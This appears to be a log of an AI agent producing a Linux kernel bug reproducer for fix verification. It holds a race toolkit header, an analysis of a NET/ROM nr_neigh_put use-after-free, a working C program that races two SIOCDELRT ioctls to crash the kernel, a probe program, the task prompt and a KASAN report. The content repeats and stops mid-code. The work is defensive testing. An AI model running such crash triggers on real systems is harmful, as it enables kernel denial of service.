// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

gemini-3.1-pro-preview

							input: 36967
							output: 2061
							thoughts: 7808
						

**Reproducing a Use-After-Free in Netrom's Neighbour Handling**

Okay, so we're aiming to provoke a use-after-free vulnerability within the Linux kernel's Netrom implementation. The plan is to create an AX.25 interface using a PTY and `mkiss`, which sets up our `ax0` device. After that, we need to bring this interface up and then create an `AF_NETROM` socket using `SOCK_SEQPACKET` – that's crucial; the standard `SOCK_DGRAM` won't do for this protocol. We’ll be using our own `nr_route_struct` definition to avoid potential header conflicts and ensure our control structure aligns with what the kernel expects. We’re working around possible header conflicts by defining the structures manually.

The core of the exploit involves a loop where we repeatedly add a Netrom neighbour using `SIOCADDRT` and then *concurrently* delete it with `SIOCDELRT` using two threads. This looks like a race condition is exactly what we need to exploit here. To make sure we hit the critical section often, we’re setting up a barrier and trying to pin the threads to different CPUs using the `race_toolkit`. We initialize a `nr_route` structure to define the callsign and other information about the route. We're using standard callsign format and setting the type to `NETROM_NEIGH`.

The key vulnerability lies within `nr_del_neigh`, and specifically, how it handles neighbour deletion in the face of concurrency. The root issue is in `nr_neigh_put`.  If two threads call `nr_del_neigh` concurrently for the same neighbour, they might both pass an `nr_neigh->count == 0` check.  Then they will acquire the `nr_neigh_list_lock`, execute `__nr_remove_neigh` sequentially, which then calls `nr_neigh_put`. The first call to `nr_neigh_put` decrements and frees. The second thread executes `nr_neigh_put` on a freed object, leading to a use-after-free, likely within the `refcount_dec_and_test` function, which crashes the kernel.

We need `CAP_NET_ADMIN` privileges because of the `SIOCADDRT` and `SIOCDELRT` ioctls. And the setup will use `mkiss` to create an `ax0` device that will be up. I am also checking `AF_NETROM` as well. The reproducer needs the netrom module loaded, otherwise, it will just fail to create the socket. I am going to make sure the callsigns are valid by checking that the callsigns do indeed work for `ax25cmp`. And the device name, ifname, is set using `SIOCGIFNAME` and is correctly passed to the ioctl. The `SIOCADDRT` might fail if the neighbour is already deleted but we have a mechanism to recreate it because we are doing this in a loop, so the crash should happen.

map[OracleFeedback:]

map[CurrentReproStrategy:An analysis of the bug and a strategy for reproducing it with a minimal C program.

### Bug Analysis

The bug is a Use-After-Free (UAF) in `nr_neigh_put` caused by a race condition in `nr_del_neigh` within the NET/ROM subsystem.

When `nr_del_neigh` is called (via the `SIOCDELRT` ioctl), it retrieves the neighbour object using `nr_neigh_get_dev`, which increments the object's refcount. It then checks if `nr_neigh->count == 0` **without holding any locks**. If true, it calls `nr_remove_neigh`, which acquires the `nr_neigh_list_lock` and calls `__nr_remove_neigh`.

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

`__nr_remove_neigh` removes the neighbour from the global list and drops the list's reference by calling `nr_neigh_put`. 

If two threads call `nr_del_neigh` concurrently for the same neighbour, they can both retrieve the object and both pass the `count == 0` check. They will then sequentially execute `__nr_remove_neigh`. 
1. The first execution removes the neighbour from the list and drops the list's refcount.
2. The second execution calls `hlist_del_init` (which safely does nothing because the node is already unhashed) but then calls `nr_neigh_put` again, dropping a refcount that does not belong to it.

Finally, both threads call `nr_neigh_put` at the end of `nr_del_neigh` to drop the refcounts they acquired via `nr_neigh_get_dev`. This results in one extra `nr_neigh_put`, dropping the refcount below zero and triggering the UAF.

### Reproduction Strategy

To reproduce this bug, we need to:
1. Create a virtual AX.25 network interface (`ARPHRD_AX25`) and bring it `UP`. This can be done by opening a pseudo-terminal (PTY) and setting its line discipline to `N_AX25` (using the `mkiss` driver).
2. Create an `AF_NETROM` socket to issue routing ioctls.
3. In a tight loop:
   - Add a NET/ROM neighbour using the `SIOCADDRT` ioctl.
   - Spawn two threads that concurrently attempt to delete the same neighbour using the `SIOCDELRT` ioctl.
   - Use spin-wait barriers to align the ioctl calls perfectly and maximize the race window.

### Minimal C Reproducer

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```]

gemini-3.1-pro-preview

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

Strategy: An analysis of the bug and a strategy for reproducing it with a minimal C program.

### Bug Analysis

The bug is a Use-After-Free (UAF) in `nr_neigh_put` caused by a race condition in `nr_del_neigh` within the NET/ROM subsystem.

When `nr_del_neigh` is called (via the `SIOCDELRT` ioctl), it retrieves the neighbour object using `nr_neigh_get_dev`, which increments the object's refcount. It then checks if `nr_neigh->count == 0` **without holding any locks**. If true, it calls `nr_remove_neigh`, which acquires the `nr_neigh_list_lock` and calls `__nr_remove_neigh`.

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

`__nr_remove_neigh` removes the neighbour from the global list and drops the list's reference by calling `nr_neigh_put`. 

If two threads call `nr_del_neigh` concurrently for the same neighbour, they can both retrieve the object and both pass the `count == 0` check. They will then sequentially execute `__nr_remove_neigh`. 
1. The first execution removes the neighbour from the list and drops the list's refcount.
2. The second execution calls `hlist_del_init` (which safely does nothing because the node is already unhashed) but then calls `nr_neigh_put` again, dropping a refcount that does not belong to it.

Finally, both threads call `nr_neigh_put` at the end of `nr_del_neigh` to drop the refcounts they acquired via `nr_neigh_get_dev`. This results in one extra `nr_neigh_put`, dropping the refcount below zero and triggering the UAF.

### Reproduction Strategy

To reproduce this bug, we need to:
1. Create a virtual AX.25 network interface (`ARPHRD_AX25`) and bring it `UP`. This can be done by opening a pseudo-terminal (PTY) and setting its line discipline to `N_AX25` (using the `mkiss` driver).
2. Create an `AF_NETROM` socket to issue routing ioctls.
3. In a tight loop:
   - Add a NET/ROM neighbour using the `SIOCADDRT` ioctl.
   - Spawn two threads that concurrently attempt to delete the same neighbour using the `SIOCDELRT` ioctl.
   - Use spin-wait barriers to align the ioctl calls perfectly and maximize the race window.

### Minimal C Reproducer

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
